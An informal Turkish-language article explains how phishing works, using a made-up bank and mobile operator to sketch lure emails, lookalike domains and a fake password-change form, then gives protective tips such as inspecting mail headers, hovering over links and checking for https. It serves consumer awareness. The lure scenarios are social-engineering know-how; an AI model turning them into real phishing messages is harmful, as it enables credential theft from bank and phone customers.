tbtbank.com.tr Bddk’nın yayınlamış olduğu bir bildiri ile online işlem yapanlar belirtmiş oldukları adres bilgilerinitekrardan gözden geçirip ayrıntılı bir şekilde belirtmeleri gerekmektedir aksi halde banka hesaplarınızın kapatılması söz konusudur diye mailde bakıldığında bankadan geldiği için hemen müşteriler bu durumu doğru kabul etmektedir ve mailin altında şöyle bir link yer almaktadır buradan giriş yapıp düzenleyin diye www.tbtbank.com.tr/onlineislemler/internetbankacılığı.aspx mesela örnek verdik

Bankanın orijinal internet bankacılığı giriş yeri orası olabilir fakat o mailin yönlendiği yer bankanın web sitesi olmayabilir.

Bu mail zengin metin editörüyle çok rahat yapılabilir ya da basit bir kaç html koduyla ayrıca saldırgan maili bankanın logoları resimleriyle güçlendirir kibu inandırıcılığını artırır

www.tbtbank.com.tr/onlineislemler/internetbankaciligi.aspx>

Benim kullandığım buydu mesela saldırgan kişi bunu istediği gibi düzenleyebilir ve sizi kendi istediği web sitesine yönlendirir şahıs Tbtbank’ın klonunu yapmıştır muhakkak senin o klon siteye şifre ve müşteri numaran kart numaranı yazmanı sağlayabilir geçenlerde Rusya da bir pishing çetesi çökertildi bir yolu böyledir birde web adreslerinde anlayamayacağınızdeğişiklikler olabilir nasıl mı ?
www.tbdbank.com.tr“ t” yi “d “olarak değiştirirek benzer bir site açmış çokdikkat etmediğiniz sürece yada daldığınız zaman gözünüzden kaçabilir ve saldırgan sizi avlayabilir.
birde gsm operatörü aracı yapılarak nasıl pishing yapılabilir onuda göstereyim sadece 2 örnek vereceğim örnekler çoğaltılabilir fakat o zaman bu doküman da epey uzar kısa kesmek zorundayım. Kişi diyelim TBTcell isimi gsm operatörünün www.tbtgsm.com da bulunan online mesaj servisi kullanıyor saldırgan da bunu biliyor tbtcell müsterileriyle musteri.hizmetleri@tbtcell.com mailiyle irtibata geçiyor hemen tbtcell adına bir anony mail ile kurbana mail gönderir onunda senaryosu şöyle olsun kulanmış olduğunuz tbt süperşifrenizin günü dolmuştur www.tbtcell.com.tr/webmesajcell.aspx den giriş yaparak yeni şifrenizi belirleyindiye saldırıcan da yinebu linki kendi istediği yere yönlendirmişdir yada benzer bir link tir seninkarşına bir forum çıkartır.

eski şifre:
yeni şifre
yeni şifre tekrar

şeklinde sende girersin saldırgan burada kendisine lazım olan eski şifreyi alır ve gerçek siteden bir güzel kullanır . senaryolar tükenmez asl...

Pishing’den Nasıl korunulur?

Genellikle bankaların gönderdikleri mailler spama düşmez daha önce inboxa gelen mail çok zor spama düşer, eğer spama düşüyorsa bir kere işkillenin sonra mail geldikten sonra mutlaka mailin kaynak kodlarını inceleyin kaynağında gelen yer gerçekten bankanın kendi sitesi mi? değil mi? Mümkün oldukça gelen maillerde ki linkere tıklamayın kopyala yapıştır yöntemiyle tarayıcının internet çubuğuna linki kopyala yapıştır yoluyla girin Mouse u üzerine getirdiğinizde linkin alttaki ilerleme çubuğunun bulunduğu yerde farklı bir link mı yok mu dikkat edin birde bankaların gönderdiği linkler ssl şifreli korumalı sayfaların bulunduğu yerden gönderilir https:// olarak bir s fazla dır.

Her zaman mailin içeriğinde ki konuyu ne olur ne olmaz bir google da arayarak doğruluğunu tespit ediniz bir de spoofstick isimli tarayıcı eklentilerini kullanabilirsiniz bu sahteliklere karşı bu bilgi girdiğiniz sitenin gerçekten düşündüğünüz site mi değimli size bildirir

Ayrıntı: http://www.google.com.tr/search?hl=tr&client=firefox-a&rls=org.mozilla%3Atr%3Aofficial&hs=v0w&q=SPOOFSTICK&btnG=Ara&meta=lr%3Dlang_tr